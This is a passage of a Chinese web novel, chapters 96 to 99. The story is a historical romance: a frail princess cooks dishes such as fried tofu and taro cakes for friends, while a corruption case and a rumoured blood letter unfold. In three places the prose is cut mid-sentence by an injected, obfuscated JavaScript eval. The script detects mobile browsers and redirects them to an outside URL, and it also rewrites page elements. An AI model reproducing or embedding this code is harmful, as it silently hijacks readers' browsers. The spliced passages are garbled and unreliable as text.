崔明端也莫名怜爱了一番，跟着做了一番说客，“侯府那日不宴客，只有几位相熟的。荀夫人与那两个孩子也会去。“ “那……” 萧鸣笙也意动，但这身子晕一次车，就得养一阵。贺喜没贺上，倒是给侯府添了堵。“容我再想想……” “呜……郡主……” 但是下一刻，脑门便有一股香味扑来。 他家爱操心的崔兄，来给他擦脸了。 96.浮豆腐 她的为难之处，崔明端自看在眼里。 等绪宁过来找，便先让绪安先走了。 崔明端将小公子送上侯府的马车，同是好一番叮嘱。 “崔兄……”小团子红着眼，不舍得走。 “且跟着令兄回家，稍候我便跟上。” “好罢……” 绪安将目光放在更远处的郡主身上，露出笑脸，便随绪宁走了。马车上，小团子还揉着自个儿胖乎乎的脸蛋，“兄长，本公子是不招人喜欢了吗？怎么郡主不来我的生辰宴呢？” 绪宁一听便乐了，“哈哈……你小子，你以为你是金子做的啊，换了我是郡主，我才不想去……” “好了，兄长，我算是知道为何郡主不想来我们家了，定是你的缘故……我们兄弟俩丝毫不像……唉，好烦呐，我们几时能分家……” “你小子是越说越没谱了，分家这个词，要是你回家在爹爹面前说出来，腿给你打折了。” …… 随着车轱辘声渐行渐远，崔明端回身，主人家同是一副送客模样，徒让人心头郁郁。 “侯爷，同是武将……” 然而，后面的话，便劝不下去。或许，正是因为侯爷也是武将，难免会忆及萧将军。 “臣，失言了……” 萧鸣笙不是原身，倒没想到这处去，赶忙道：“并非是大人之错……我……” 屋檐倒挂的冰锥，在日光下，渐渐化开，滴滴答答响着，仿若早到的春雨。 “大人自幼博览群书，又随叔父看过不少小儿医方，可听过一种病症……其实，也不是病症……” 萧鸣笙也为难，她指了指马棚的方向，“我，自幼骑马，或是坐不惯马车，一颠簸便头晕目眩，胸闷气短……” 她说的艰难，崔明端何尝不震惊？ “上回进城，郡主也是此缘故？” “嗯。” 好罢，更丢脸了。原是气势高昂要去敲那登闻鼓，谁知晕车误人，一秒柔弱不能自理。 闻言，崔明端既是疼惜，也开怀。她身子无恙便好。“是臣疏于观察，不想郡主有此症。” 理清了来龙去脉，崔明端反而不赞同她去了。 “眼下还在正月里，不比阳春三月，暖风如醉。从梅花坞骑马到内城，容易着了风寒……郡主外出，难免有坐马车时，不好教人起了闲话。” “嗯，我也是这般想的。只是，小公子那儿……” “无事，臣去说。” 萧鸣笙也感激崔大人的善解人意，否则要是勉强策马去参加小团子的生日宴，日后再有什么宴请的帖子，怕是拒也不拒不了。她总不能特立独行，回回都策马去吧。 远离京城是非，安静在梅花坞养猫养鸡，着实不错。 崔明端瞧她怡然自乐，也不好说些什么。她身份在这儿，世家女儿的交游，或许也是不喜的。 想着她从前在西北，双亲俱在，跑马射箭，畅快自在。也难怪父亲也待她如自家女儿一般。 若是自己有女如此—— 尚且只是想一想，崔明端心肝俱疼。此生，但愿能如青山共白头，再无牵挂才是。 茶楼落成，又在元宵佳节，萧鸣笙有意在正月十六摆一桌，请他们这些相熟的人。 也顺道给小团子庆生。 这主意一说，崔明端自然是头个赞成。 绪宁自然也应下，打趣道：“那日小弟冒犯了。凭他是谁，还想借自个儿年纪小来郡主这儿卖惨……要是开了这个头，往后有人也借着满月、嫁娶、祝寿来请，可如何养病？” “是小女对不住侯府盛情相邀。” “这话我可当不得。郡主已然给了我家极大的颜面了。这一回请客，别说是绪安的生辰了，就连我的，一同在梅花坞提前贺了也就是了。” 但是，要宴客，不比从前只做一两道小点。 他们几个都是儿郎，如绪安所说，肚里能放一座山。 “郡主也实在不必操心。不过是友人一聚，一壶清茶，便足矣。去岁，臣与荀兄在临江楼吃着一茶，名为秋子，也算别致，臣再让铺子的师傅制一些茶点来……” “秋子？” “嗯。” 显然，萧鸣笙也被这名字所吸引，忽而笑得热烈，“既是茶楼，岂能无茶，崔大人所言甚是……就用这个秋子。” 显然，崔大人也不知她兴致何在，也随着抿唇一笑。 大抵就是女子的性情所在。 走前，仍不忘叮嘱她切忌再做繁复的茶点。 “崔大人有命，小女自当遵从。”萧鸣笙也不知清冷寡言的崔家六郎，几时变成这样絮絮叨叨的操心模样。 正月十五，萧家送了元宵与赏钱给梅花坞的乡民。 听说是贵人亲自做的，各家各户都笑得呲牙。 阿草也在萧家灶房吃着了，里头包的馅料，可丰富了。 黑芝麻、白芝麻、核桃碎、橘子皮、猪油、红糖。 红糖和猪油在里头化开了，坚果香浓。 阿草喜欢吃甜的，接连了两大碗。“郡主，这个好吃……” 再好吃，也怕吃多了积食。 卢妈妈想拦，萧鸣笙先哄道：“明日不是要请大家去山下茶楼吃点心么？留些肚子，包子又送了好大一筐芋头，我给你做芋头饼吃。” “还做拔丝红薯么？我觉着郡主做的好吃。崔大人还没吃过新鲜热乎的……那个姐姐也是……” 说的便是柴氏。 这话算是逾矩了。 不过阿草在众人前都守规矩，与她说话时，才露出孩童本性。 “你喜欢红薯，我们明日还做。” …… 从萧家出去的点心，除了滋味不同别处的拔丝红薯，还有蜜汁山药、脆皮烤肠，还有辣条与翠琅玕。 除了翠琅玕是一道雅菜，余下的，均是哄孩童的。 萧鸣笙另做一道新鲜的芋头饼，还有从包子家定的豆腐，也做了一道浮豆腐。 芋头切成细丝，盛入大碗中，加入盐、糖、鸡精、辣椒面搅拌均匀腌制半个时辰，至芋头丝出水变软，加入糯米粉拌匀，再加入清水揉至光滑的面团，分成小团子，搓圆压扁备用。 茶楼后厨，崔三爷设计得合理，连面包炉也考虑进去了。 今日，在这新厨房，足足有七八口灶备用。 阿草帮着炒制拔丝红薯，已有几分师傅模样。 袁志便成了烧火那人，萧鸣笙往热锅倒油，放入芋头饼，中小火煎至两面金黄色出锅时，柴氏也到了。 “呀，好香啊……我就说了带个厨子过来，荀二郎还非得拦着我。他也不看看，郡主多早就开始忙碌了……” 柴氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13481891|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得早，也预备多一身衣裳，这样即使脏了也能换。 萧鸣笙感念她的细心，“你们都念我体弱，我头一回做东，便也偷懒一回，都是些茶点，姐姐坐着就好。孩子们呢？” “跟着他们爹爹，反正也是个张口吃饭的，早早来了扰人。” 柴氏说完，还顺口说起崔大人，“听说大人走了陵安府一趟，似乎有公务。荀二郎便带着孩子去侯府了，想着把小公子也接来。他是大忙人，还不知能不能赶来了……” 萧鸣笙颔首，略略可惜了。 芋头饼炸好，就剩下最后一道浮豆腐了。 辣条已经在面包炉了烘干了，就等着贵客上门来。 未时一到，两家马车便先后停下了。 绪安不用人惦记，自己已经扯开嗓门喊人了，“郡主……嫂嫂……本公子来了……” 荀家小娘子人还在马车上，对着一脸笑的爹爹深深叹气，“爹爹，你们儿郎都这样傻乎乎的吗？” “什么我们儿郎？爹爹我啊，可是聪明绝顶的人。” “你平日下值回来，比他还傻……” “咳咳……这话，在爹爹面前说说也就是了。你看，绪安是儿郎，自是要厚颜一些，我们女儿家，还是要沉静些好，像——” “郡主一样。总是笑眯眯的，还会做好吃的。” 荀家小娘子自有自己的主见，示意爹爹该下车了，“久久不去拜见主人，是为失礼。” “……” 于是乎，荀二郎便成了家里最失礼的人了。 他带着孩子往后厨去，先是找了妻子一阵嫌弃，又被郡主请走了。 “这儿油烟大，还剩最后一道浮豆腐，更是危险，荀大人带小公子他们去楼上等着吧。” 危险，不是说着哄人的。 满满一锅热油，底下的火也是足的。 有干净的棉布，将豆腐吸干水分，整块放进的油里，霎时涌起无数气泡，呲呲作响。 萧鸣笙用特意削长的筷子，依次将豆腐翻面，两面金黄便出锅。 再横竖切两刀，豆腐里头嫩白，外皮金黄酥脆。 这道浮豆腐一经端上，荀二郎便先赞道：“这极好。不知与这薄荷，是如何配的？” 浮豆腐的蘸料，有两样。一碟蒜泥醋，一碟是清酱，里头同是掺了蒜片。 旁侧有一整碟鲜绿的薄荷，也是择的薄荷心叶，按着三四片的长度，掐下洗净。 “炸过的豆腐，热气大，用薄荷败火正好。若是吃得惯薄荷，便一块豆腐夹一根薄荷，再随自个儿口味沾醋或是酱油。“萧鸣笙先示范，“里头还是烫的，先得吹凉了。” 荀二郎按着自己的孩子，绪宁则是看着绪安，由着他们先行尝了。 “都说心急吃不到热豆腐。果真如此……” 他吹了吹，还是险些烫着，“里面鲜嫩极了，皮是脆的，比豆腐泡有滋味多了。这薄荷，这几个小的，怕是尝不得。” 他说吃不得，绪安偏不信邪。 荀家小娘子也是，二人前面夹了一块豆腐，绪安喜欢沾酱油，而她是去沾了醋。 慢慢吹气后，再张大口，一嚼，薄荷叶的清凉口感—— 于年纪轻轻的小孩子来说，攻击力更大。 “呜……” 二人小眼瞪小眼：早知如此，就听爹爹的了。 97.西施舌 “浮豆腐与浮圆子，都占了个浮字，但豆腐炸过，要比圆子热气……若是体热，可不好多吃……” 萧鸣笙说此话时，崔明端正在楼道上，不知怎的，外头一路纷扰，听她一言，心里便莫名安宁。 荀二郎的座次一抬眼，就看到了崔明端，不由打趣道：“好呀，崔兄是大忙人，素日我请不到就罢了，今日也迟了，可得罚三杯？” “可惜我无酒，佳茗还是荀大人带来的，这罚岂不是变了赏？” 萧鸣笙也跟着笑。 崔明端大人身上还是绣着青松的常服，或是陵安府的差事处理好了。 “郡主说的是……荀兄的茶好，可不能让我一人牛饮了。” 赔罪的礼，崔明端也带了。食盒一放好，便有几个探头探脑的。 “我道崔兄怎来得这样迟，一碟豆腐都已吃完。原是带了美人舌来。” 荀二郎说的，是一道名为西施舌的点心。形状像舌头，清香甜润。水磨粉作成皮子，裹入枣泥、白糖、板油、核桃肉、金桔脯、糖佛手、青梅、红瓜、糖桂花、瓜子等馅料，放入舌形模具揿压成形，或炸或煮，别有一番滋味。[1] 因着外带过来，这一道，是炸的。 长长一条矮桌，座次是分好的，依着女左男友，众人席地而坐。不过因为崔明端来得晚，小团子已经将他的位置给占了，就为了离对面的萧鸣笙近一些。 崔明端也不点破，反而是将蒲团拿到最上头的空位放好，面不改色坐下。 荀二郎笑得乐不可支，给他上了一杯茶，“崔兄占了主位，我反倒是越礼了。” “嗯，我来泡。” 崔明端也从另外一层食盒取来两小坛茶叶出来，其中一份，便是天子御赐的岭南贡茶。 除去新年待客，余下的，全在这儿了。 “郡主虽不宜饮茶，但煮来清心凝神，也是可的。” 这会儿，人就在身旁，他来得急，气息似也不匀，身子略一倾，萧鸣笙便觉着暖风忽至，“是什么？” “说是凤凰鸟衔来的仙叶，当地百姓名为鸟嘴。” 崔明端将当地传说娓娓道来，不过声量极低，只二人能听。 但是，不妨碍一个扎他怀中。 “鸟嘴？前头的传说倒是勾人，只是这名，过于俭朴了。” 小团子还不忘邀萧鸣笙的应和，“郡主，你说是不是？该不会是我崔兄临时编的，没编好吧？” 两条垂下的黑发，便随动作晃了晃。 崔明端顺了顺，不禁问道：“前日布置的课业，可写好了？” “崔兄，你不能被本公子揭了短，便拿出夫子的身份……这儿是我郡主的地盘，郡主，你管管我崔兄……” “崔大人带了西施舌，又带了贡茶鸟嘴，可不就是来堵嘴的？小公子教教我要如何管？” 这孩子着实是惹人怜爱，萧鸣笙才这么一想，膝盖上也出现了个温热娇软的小娘子。 “嘻嘻……郡主，我也想听听崔叔叔说什么……” 荀家小娘子也慢慢钻了进去，像极了潦草，总是会自发找个位置。 “呀，这孩子可真是让我给惯坏了。” 柴氏要将人抱回，萧鸣笙也帮着护着桌角。“是小娘子与我亲近，我心里偷着乐呢。” 然而，绪宁没跟来，没人将绪安薅走，他便心安理得窝在崔明端怀里。 大庭广众下，与她说两句话，已然过于亲近，崔明端也晓得分寸，瞧她面前是一碗牛乳红枣茶，与绪安他们是一样的，不禁抿了笑。 “我记得崔兄那一届的春闱，原是要点为状元的，但殿试前几位，相貌皆不如崔兄，只能是委屈崔兄。” 荀二郎说起的这个，属实是市集传言了。 在场的，也就萧鸣笙没听过，夹了一块芋头饼，还没放碗里，只见横空出现片西施舌，“郡主尝尝，臣已试过，手艺尚可。” “多谢——” 话没完，她筷子下也出现了个空碗，某人面上端的是云淡风轻，却是可怜巴巴来讨食。 萧鸣笙忽而促狭与他对视：崔大人，要是她是个榆木脑袋，看他英明一世，可要如何收场？ 偏崔明端胸有成竹，只那一笑，便让人丢盔弃甲。 今年的春，来得实在是早。 那一块芋头饼，便也如愿出现在他的碗里。 崔明端捧着，还没品一品，下巴刺挠得厉害，团子不安分要去瞧，“崔兄……” “与我待一处热了，便回去自个儿坐。” “本公子尊师重道，见夫子策马而来，有意替夫子暖暖，纵是夫子赶我，我也是不走的。古有卧冰求鲤，本公子——” 可惜，小团子歪头思量好半晌，也没想出个能比拟的四字词来。 崔明端由着他想去，举高了手腕，将芋头饼咬了一口，底下都用温碗，还是温热的，芋头切丝，比软绵的芋泥更有嚼头，可转念一想： 就算是芋泥，他也会觉着芋泥绵软细密，很适合今日慵懒的心境。 萧鸣笙也默默去咬那条西施舌，里头有金桔、佛手，也没想象中的齁甜，像是特意减了糖量，清香爽口，她是爱吃的。 二人心照不宣吃着对方夹的点心，柴氏也要凑过去问：“郡主，甜么？甜我就不吃了……” 咳咳……果然是出来混，都是要还的。 “倒是不怎么甜……” “不甜呀……”柴氏笑得同小狐狸一样，明晃晃打量着对面的荀二郎，意有所指，“我可不爱吃酸的。是不是崔大人胡乱找的酒家？” 荀二郎也替挚友汗颜。 萧鸣笙赶忙是替柴氏夹了她爱吃的拔丝红薯，“这道是甜的，柴姐姐多吃点……” …… 他们这些小辈在赶在朝廷开印前吃喝，崔三爷一人在吉安府，忙得脚不沾地。连元宵都是从外头胡乱买的一碗。 吃了觉着滋味不错，那位老丈年纪大了，看府尹大人来自己的摊子，连钱也不敢收了。 “本官是来上任的，朝廷都是发俸禄的，总不能白吃百姓的吧？” “是……” 那老丈颤颤巍巍收了银子，最后还是壮着单子说了一句，“大人，我们耿大人，是个好官呐……” 此言一出，跟着来的衙役骂道：“大人办案，由得你来说？” 崔三爷倒是另外掏了几个铜钱，再要了一碗，“那老丈说说，耿大人如何好法？” 老丈缩着手，最后终是颤巍巍道：“城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13495572|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的摊子，各处都是要租子的……我一个糟老头，啥都没了……还是大人好心让我在这儿摆个摊。“ “这样听来，确是个为百姓着想的好官……” 崔三爷笑道，“不过，这吉安府这么多百姓，他可怜老丈，让你在这儿摆，旁的百姓看了也想要，可该如何是好？” ”这……“ 这问题，确实是将老丈问住了。 “再说了，这吉安府的每个摊子都有租金，他是免了老丈的租，还是自掏腰包，另外补上了？这补上的银子，是他自己的俸禄，还是另外所得？” “这……” 不说他只是吉安府一个普通老头，就是朝廷里的老狐狸，争辩起来，都不是崔三爷的对手。 “哈哈……好些日子没找到人说话了。让您老人家受累。” 崔三爷亲自端了那元宵，回了衙门，径直往大牢去。 地牢阴湿，耿康太关了有一阵了，这会儿咳嗽不已。 “请大夫了吗？” “大人……这犯人，哪有请大夫的……” 狱卒是将耿大人的病报了上去，但有没有报到崔三爷那里去，就不知道了。 崔三爷示意人开门，耿康太坐在角落里，虽是下了大牢，但还是在稻草堆上坐得笔直。 “耿大人，”崔三爷莫名想到了在山上那孩子，学着她的语调，问了一声：“吃元宵么？” 耿康太一看来人，也有些激动站起来，“崔大人。” “不必客气。坐吧。” 他将元宵递过去，人便也接了，“今儿是十六，在外头看到个摊子，尝了味道不错，也给大人买了一碗。” “多谢崔大人记挂了。”耿康太也是个奇人，就这么吃了起来。 不说是崔三爷看了直笑，便是跟着来的人，或是守着的狱卒，都有些惊奇。 原以为耿大人心气高，或是不屑于吃这么一碗。或是直接跪地，朝新任府尹喊冤，述说自己的冤屈。 可二人，一人不问，另一人也不喊，莫名有些祥和。 “耿大人在吉安任上也是八年了吧？可是能吃出这是何人手艺？”崔三爷没得吃，只能是找话问。 “有些像东二街那位老丈的。” “正是。” 耿康太是罪臣，在牢里没吃过什么好东西。这一碗元宵，没多时，都进了他的肚子。 他捧着空碗，喟然而叹，“那位老人家的元宵，里头都会搁一些陈皮，比别家更有滋味些。” 既是将话说开了，崔三爷便单刀直入问道：“我在京中吃的都是甜口的馅，尝不出好赖来，却是听说那个摊子，是大人做主给的？这一条，在州府的账目上并没有看到，不知底下的人办事不利，弄丢了账册，还是大人的私账？” 饶是耿康太料到了崔三爷总要上门来问，也想不到是从这碗元宵。 “七八年来，吉安府，一年的税银有十万两。天子封赏此地郡主，可见天恩浩荡。” 崔三爷俯身去接那个空荡荡的碗，缺了个口，里头连一点汤水都不剩。 “耿大人，你可知，那孩子一年光吃药的钱，要多少？送到她手里的银子，还剩多少？二百两哪，这二百两……买你的人头，贵了还是便宜了？” 98.炸马脚 地牢黑寂，响彻着崔三爷的质问。 耿康太亦是苦笑，只辩一句：“崔大人，看人看事，皆不能看表面。就说方才那一碗元宵吧，是雪白的皮子，可里头的馅料，都是黑的。” “耿大人是想说，你这黑芝麻，芯是白的么？” 崔三爷出言讥笑，耿康太不以为意，“大人自去查，下官家世清白，每月所用花销，皆在从四品俸禄内。” “天子授我吉安府尹一职，只为郡主封赏永固。大人的案子，登闻鼓院已有裁断。” 说罢，崔三爷端着那个破了个口子的碗离开，走前仍不忘吩咐身边人，“将这破碗送回去。还有，告诉他，耿大人已经下狱，摊子的租金该交了。” “这……”连那衙役都有些不忍心。那位老丈的年纪，也大了。大人可真是——铁面无私。 这一回，轮到耿康太在牢房里呼喊：“大人，那位老丈年逾六十，不过一贯钱，请大人网开一面吧……” 牢房里，还关押着其他犯人，判他们有罪的，便是这声音的主人。 今朝同是阶下囚，众人也说不清其中滋味。 冤，倒是一个都不冤。怨这位大老爷么？都怨过。 但他们犯的，都不是穷凶极恶的案子，脑袋还留着。而耿大人，秋后问斩了，想想还是他更可怜些。 * 梅花坞的茶话会，便以荀二郎夫妇识趣提前离场进入尾声。 迟来的人，自然是要迟些走。 绪安本也想留下，但荀二郎瞥了眼崔明端，“我家里新到一个南厨，擅长制作点心，前儿才做了道黄金马脚，小公子可要来尝尝？” “黄金马脚？好像不辣。”只要是能吃，又不是辣的，绪安都愿意吃一吃。 但是，今日在郡主这儿吃了不少东西了…… 但是，严师崔明端开口了，“若不然，稍后我再带他回去，顺便问问功课。” “啊哈哈崔兄，只是回城，就不劳烦你了，我和嫂嫂他们一道走，再去尝尝什么马脚。” 绪安赶忙去拉人，本是要拉荀小郎，谁知他素来不爱同人亲近，这一躲，绪安便拉着了荀家小娘子。 偏偏他无知无觉，同郡主告辞，另一手拉着柴氏，着急忙慌走了。 “小公子年纪还小，大人何苦吓唬他？” 送走了人，崔明端再度回了茶楼，只为与她多呆片刻。 崔明端袖中还揣着一份赔礼。阿草说，她喜欢吃市集那家老店的玉茄果脯。 这消息，也是阿藤好不容易跟阿草打听出来的。 他也吃不明白，但她爱吃，买来便是。 萧鸣笙也觉着惊奇，明明是光风霁月的郎君，可袖中总能摸出哄孩童的果脯来。 “耿家姑娘，如今还好么？” “还住在臣名下的私宅里。” 今日，他去陵安府，便是有一户人家向衙门报案说进了贼。 这不是大水冲了龙王庙么？ 新年谣传他纳妾的风波不成，过了今日只怕又要传他养外室了。 崔明端本是身正不怕影斜，但如今不是他孤身一人。实在是怕有些人扰了她清静，不得安宁。 坐回之际，借着去取一颗玉茄果脯的动作，悄然拈了她的袖口。 “郡主……” 声音沉沉唤着她，也不说是何事。 萧鸣笙口中正含着酸甜可口的果脯，歪着头，促狭看着他。 崔明端亦笑，只是凑近前去，“不知滋味可好？” 骤然亲近——实则，也不算亲近。 只是身子略略倾斜，与方才在席间的姿态是一样的。 而今，众人都不在，才更亲密。 “好吃……”轮到她来说这个平平无奇的评价了。 今日，崔明端过来，定是又没戴帽子。这会儿，耳根红得厉害，远比瓶中红梅。 萧鸣笙沉溺美色，手也不听使唤，总是下意识去薅离得最近的物件。 她多拈了一颗果脯，吃了一颗，又拈了一颗。 可她是人，不是花栗鼠，不能一个劲往口中塞橡果。 她稍一抬眸，便溺在熠熠光华中，有一股不知名的热气，轰的一声席卷了思绪。 不需言语，只是抬了抬手腕——但他使了一分力，教她皓腕动弹不得。 “给我的？” 难得不是说臣。 萧鸣笙呐呐应声，崔明端便俯身去，轻轻咬走那颗果脯。 他守礼，没碰到她指尖，只是气息灼热，动作迟缓，远比一触即离更叫人难受。 萧鸣笙想收回手，再找帕子揩揩指尖的异样。 “是我孟浪了。”赔罪的话说了，事也得做，他摸出手帕，润了茶水，再隔着厚实的衣裳，轻轻覆上。 唯恐将人吓着了，也为缓和自己，崔明端又与她说起了公事，“父亲传了封家书给我。” “嗯……”萧鸣笙手指被捉住，也不知他说的孟浪是吃走那颗果脯，还是隔着手帕慢慢摩挲她的指尖。 “他说耿康太咬破手，撕了里衣，写了一封血书。” “是写了什么惊人骇人的么？” “他说吉安府这一切，都是一个局。” “什么意思？” 萧鸣笙不解，耿大人多少是知晓户部的勾当。 “一个以己为饵的生死局。生，则名垂青史；死，身败名裂。” 崔明端轻轻握着她的手，目光放在窗口的竹帘上。 “眼下，岂不是正应了死局？” 萧鸣笙也不知这些大人物是在打什么哑谜，“他连女儿都送上京了，还是没亮出最后的底牌。若我是道长——” 指尖被握得稍稍紧了一分。 萧鸣笙则是回头去看美人——崔大人，我有理由怀疑你是借道长来占我便宜。 “父亲的耐性，确是没从前好了……“ 崔明端喟然叹了一声，“郡主你可知这份血书在何处？” “快马送上京了？” 萧鸣笙试探性问道。 崔明端则是摇摇头，再侧身过去，仅隔着一寸距离，低语：“已经叫家父烧了。” “啊？” 这下，反而是萧鸣笙反手握住了他，一脸震惊与难以置信，“这样做，妥当吗？” “不妥。” “那……” 道长是为了何事。 萧鸣笙实在是没想明白，四下张望后，也学着他，近身耳语道：“既然已经烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13508534|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又何必写了家书告诉你，万一再落入别人手里，岂不是要被弹劾？” 崔明端怡然享受着她的亲近，又不急着立刻解惑。 谁知，她比潦草的性子还急些，没等来答复便晃了晃他手臂，“崔大人？” “嗯，家父只是写一篇辞赋歌咏天子仁德，哪里来的血书呢？”崔家通信，自有一套密语，崔三爷怎会犯这些错？ “……” 萧鸣笙嘀咕道，“这算不算是口蜜腹剑呢？” 说罢，她又要将手抽离，崔明端眼疾手快捉回，喟叹：“怎和小公子一样用错词了？” “我虽不知那位耿大人写了何事，但道——叔父将他血书烧了，总不能瞒过所有人吧？吉安府本来就聚着众人的目光，万一事情败露……岂不是引火烧身么？” 她是贪腐案的当事人，说不好奇是假的。只是，崔大人也不知是否清楚内情，并未同她说。光借着分享秘密之机，得以亲近佳人。 如萧鸣笙所担心的一样，京城很快起了流言，说是荣安郡主的案子还有内情，耿大人在狱中写了血书。 这消息，不用半个时辰就闹得满城风雨。 柴氏特意带了家里的厨子过来，正在茶楼的灶房里炸马脚吃。 “外头的事，传得难听得很。郡主别往心里去。” 这一句话，是荀二郎和崔明端希望柴氏说的。 她说完，也快言快语道：“他们儿郎光想着报喜不报忧了，我还是觉着郡主也该听一听，免得陛下传召问起，答非所问，反而误事。” 南厨在角落里，将面、水、糖、油、盐、鸡蛋等，揉成面团。又将黑芝麻与砂糖混合在一起。 那面团膨胀到两倍大，取三分之一的面团与馅料揉匀，余下的白面团被擀平。 柴氏愤慨的声音落在寒风中： “外头有伙小人刻意在中伤崔大人，抑或是郡主本人。诬陷崔大人纳妾养外室不成，便说这贪腐案实则子虚乌有，不过是崔家联合郡主，借着此事党同伐异。” “哈？” 饶是萧鸣笙做好了心里准备，也被流言无语住。萧家从前过的紧巴巴的日子，难不成还是假的？登闻鼓院的老大人个个都是崔家的人么？ 流言再可笑，也没关系。正所谓，三人成虎，于崔家，于她，总是不好的。 不过，萧鸣笙自己不出梅花坞，没觉着有什么不好，关切道：“那，崔大人，近日可好？” 算算日子，自那日后，崔大人似乎有三四日不曾过来了。 从前也不是没有过。 只是，一旦习惯了某人总会不合时宜出现，他一不出现，反而叫人挂心。 “哼……我就说他们儿郎烦人吧？崔大人即便是公务繁忙，也该派个人过来说一声，能是什么麻烦的事？偏偏不来，让郡主担心。” 柴氏挽着她的手，离窗台远了些。 南厨已经将白面团擀平，一半铺上了黑芝麻团馅料，另一半对折起来，再切成一寸大小，下锅油炸。 油锅里，一时热闹得紧，连油烟也不甘寂寞，要找个落脚点。 “他家啊，来了个要紧的亲戚。一日日，就跟唱戏似的，有人要学那戏文里才子佳人，青梅竹马的桥段呢……” 99.炖梨汤 清河崔氏，是世家大族，到这儿的第一天，萧鸣笙便不看好两家的亲事。 只是……那人，倒是让人生出一丝生机。 柴氏走后，萧鸣笙也骑马回了山上。 在岔路口，便遇到了快马疾驰而来的人。 念叨了他那么多回，今日罕见带了顶帽子来。 确如所想，一顶黑色的毛毡帽子，油光水滑，损不了一丁点儿风姿。 萧鸣笙勉强笑了笑，并未停下与他寒暄，便兀自快马走了。 崔明端不想在山下就见到了挂念的人，唇角才翘起，但见人垂了眼眸。 他立即追了上去，山路蜿蜒曲折，萧鸣笙头一回骑马下来，并不敢走得太快。没多时，就教人追上了。 崔明端再不开窍，也知她定是生气了。碍于山道狭小，他不好并行，只在后面跟着。 到了萧家门口，萧鸣笙下马时，心有挂碍，险些一跌，就被扶住了。 往日，总要称臣的人，没开口。萧鸣笙心口也堵着一股气，借力扶好后，侧身去看还在篱笆里头的照殿红，枝条的花苞，隐隐有迸发的趋势。她兀自说道：“秋末，原就不该移植花木。费了银子不说，也费了心思……” 往日情境，说花，或许只是花。 今日，话音低沉幽怨。 崔明端隐忍的咳嗽，终是发作出来。他侧身去，咳了咳，“郡主……” “城外山风大，又没开春，大人身子不适，实在不必常来……” 她狠了心要回去，可手臂教人握着。 崔明端的咳嗽虽没缓解，也知不能由着她进门去。否则，来日就算自己负荆请罪，也如花刺一般，横贯在花与叶之间。 “这两日，没过来……是我的不是……咳咳……” 他咳的难受，说话也艰难，哪里有从前晴朗的样子。 近看才发现他眼下有一圈青黑。 “病了便不要出门……巴巴出门吃冷风做甚？” “快好了，不碍事的……” 话是凶巴巴的，可手已经替他拍着背了，不过没拍两下，又教人捉住，“日头快快下山了，进屋罢。” 俨然一副主人家的姿态。 萧鸣笙轻嗤一声。原本是没打算请他进屋的。而今倒是不得不进了。 萧家堂屋没放炭盆，崔明端带着走的路，是往灶房方向的。 带了不少东西到山下茶楼去，这儿要空荡些。 他暗暗记在心里，有意让人明日送来补上。 卢妈妈在煮粥，看到郡主回来了，大人也在，赶忙行礼，退了出去。 两口灶都燃着，崔明端铺了帕子，请她坐着，自己则是侧身，对着门口的方向又咳了半晌。 饶是萧鸣笙再铁石心肠，也于心不忍，巴巴走过去给他拍了又拍，看着他头顶的毡帽，不由念道：“也不知大人是如何病的， 古语说防患于未然，自然是有它的道理，身子好的时候不戴帽，这帽——” 崔明端不知这股幽怨，含了些醋意，但没说病由，只是轻叹道：“病得糊涂，阿藤做事也不让人放心，一味将那橘子泡了水……” “橘子没了，让人去市集买一些就是了……” “滋味不同。” “不过是腌橘子，能有什么不同？”萧鸣笙没说完，只觉头顶目光重了许多，便改了口风，“病中挑嘴，让人来取就是了……” 这些日子，她没再吃御医开的苦药，当归药味也散了。 崔明端忽而福至心灵。荀二郎娶亲前，有一回找他吃酒，说女子的心，比天上云还难捉住。明明昨日欢欢喜喜的，今日再见就恼了。 买了首饰去，也被挑了刺。两手空空去吧，那指不定是要被打出家门的。 眼下，某人可不就是两手空空来的？ 袖中除了有几条棉帕，也就只有御医院制的药丸。 他摸了出来，就这样干巴巴吃了两颗。 没有水来配，一路上又吃了不少冷风，吞咽有些困难。 该是她欠他的。 萧鸣笙倒了碗水，“灶房只有碗，大人将就用用。” 他含着那两颗苦药，口中的苦，总不及心里的。 无言接过，和水吞下。 “我无意纳妾，也不会纳妾……” “咳咳……” 这下，轮到萧鸣笙咳红了耳朵，随着背上轻缓的动作，她欲盖弥彰咕哝道：“大人纳妾，自纳去——” 然而，下一刻，手便被他捉在手心里。 这一回，没再握住她的衣袖。 他在病中，或是还在发热，手心的温度烫得吓人。 萧鸣笙也被惊住，下意识就拉了人坐着，再去探他的额头，照样是滚烫的。 